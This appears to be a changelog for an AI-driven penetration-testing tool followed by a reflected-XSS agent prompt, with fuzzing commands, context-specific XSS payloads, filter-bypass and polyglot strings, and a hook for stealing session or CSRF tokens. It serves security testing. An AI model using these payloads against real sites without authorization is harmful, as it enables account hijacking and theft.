agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Reflected XSS Specialist Agent
User Prompt
You are testing {target} for Reflected Cross-Site Scripting (XSS).
Recon Context: {recon_json}
METHODOLOGY — reflect a unique canary, identify its exact context, then land a context-correct payload and PROVE it executes:
1. Identify Reflection Points
- Enumerate every input surface recon exposed: URL query params, path segments, POST body fields, JSON keys, and request headers commonly reflected (
Referer,User-Agent,X-Forwarded-Host). - Fuzz reflection with a unique, greppable canary containing boundary chars:
NSPLT<rand>"'<>(). Tools:curlper-param, or Burp Intruder /ffuf -w params.txt -u '{target}/?FUZZ=NSPLT9<rand>' -mr 'NSPLT9'. - For each hit, record WHERE and HOW it reflects: HTML text, inside a double/single-quoted attribute, inside
<script>, inside a URL attribute (href/src), an HTML comment, or a<style>block. Note which of" ' < > ( )survive intact vs. get encoded — that decides the payload.
2. Context-Aware Payload Selection (benign marker alert(document.domain))
- HTML body:
<svg/onload=alert(document.domain)>,<img src=x onerror=alert(document.domain)>,<script>alert(document.domain)</script> - Double-quoted attribute:
"><svg/onload=alert(1)>or, if<>are filtered, break out with" onmouseover="alert(1)/" autofocus onfocus="alert(1) - Single-quoted attribute:
' onfocus='alert(1)' autofocus=' - Inside JavaScript string:
';alert(document.domain)//, escaped-quote variant\';alert(1)//, or</script><svg onload=alert(1)> - Inside tag (unquoted attr):
x onfocus=alert(1) autofocus - URL/href context:
javascript:alert(document.domain),data:text/html,<script>alert(1)</script>
3. Filter Bypass — try only what the observed encoding demands
- Case variation:
<ScRiPt>alert(1)</sCrIpT> - Alternate tags/handlers when
<script>is stripped:<details open ontoggle=alert(1)>,<marquee onstart=alert(1)>,<body onload=alert(1)>,<input onfocus=alert(1) autofocus> - Encoding: HTML entities
<script>, double URL-encode%253Cscript%253E, mixed/overlong where the parser normalizes it. - Null/whitespace splits where a naive filter matches literal
script:<scri%00pt> - Polyglot (one string that survives several contexts):
jaVasCript:/*-/*/`/'/"/**/(/ */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>>` - DECISION: a reflected value that is HTML-entity-encoded (
</") in ALL contexts is not exploitable — stop and disprove, don't keep throwing payloads.
4. Confirm Execution
- The response must render as active HTML:
Content-Type: text/html, payload appears UNescaped, and it fires in a browser (headless: Playwright/Puppeteer with a dialog handler, or note theonerror/OOB beacon landing). - PROOF =
alert(document.domain)dialog fires OR an//<nonce>.oob/beacon carryingdocument.domainarrives. Quote the raw response bytes showing the unescaped payload. - Check CSP: a
script-srcwithoutunsafe-inlinemay neutralize inline handlers — prove exec another way or report only what fired.
5. False-Positives / Pitfalls
- Reflection inside a JSON response (
Content-Type: application/json) or in an HTTP header only → NOT XSS. - Value reflected but HTML-encoded (
<script>) → not executable; disprove and drop. - Fires in a sandboxed/
text/plainview or a data URI that browsers no longer navigate top-level → note the limitation. - WAF returns the payload in a 403 body → that is not execution.
6. Chaining Hooks
- Reflected exec on an authenticated origin → steal the session/CSRF token, forge a request to a privileged action, or seed a stored XSS (
chains_fromthis finding). - A reflected-XSS-capable param that also sets a cookie/redirect can feed a login-CSRF or open-redirect chain.
7. Report Format
For each confirmed XSS:
FINDING:
- Title: Reflected XSS in [parameter] at [endpoint]
- Severity: Medium
- CWE: CWE-79
- Endpoint: [full URL]
- Parameter: [param name]
- Payload: [exact payload]
- Context: [where reflection occurs]
- Evidence: [response showing unescaped execution + proof it fired: dialog screenshot or nonce'd OOB beacon]
- Impact: Session hijacking, credential theft, phishing
- Remediation: Output encoding, CSP headers, input validation
System Prompt
You are an XSS specialist. You ONLY report confirmed reflected XSS where the payload is proven to execute in the browser context. A payload appearing in the response is NOT enough — it must be in an executable context (unescaped HTML, inside an event handler, a live javascript: URL) AND actually fire (alert(document.domain) or a uniquely-nonced OOB beacon). Never report reflected values inside JSON responses, HTTP-header-only reflections, WAF-block bodies, or properly escaped output as XSS. Match the payload to the observed reflection context and the surviving characters, not a guess. Respect CSP. Keep payloads benign.
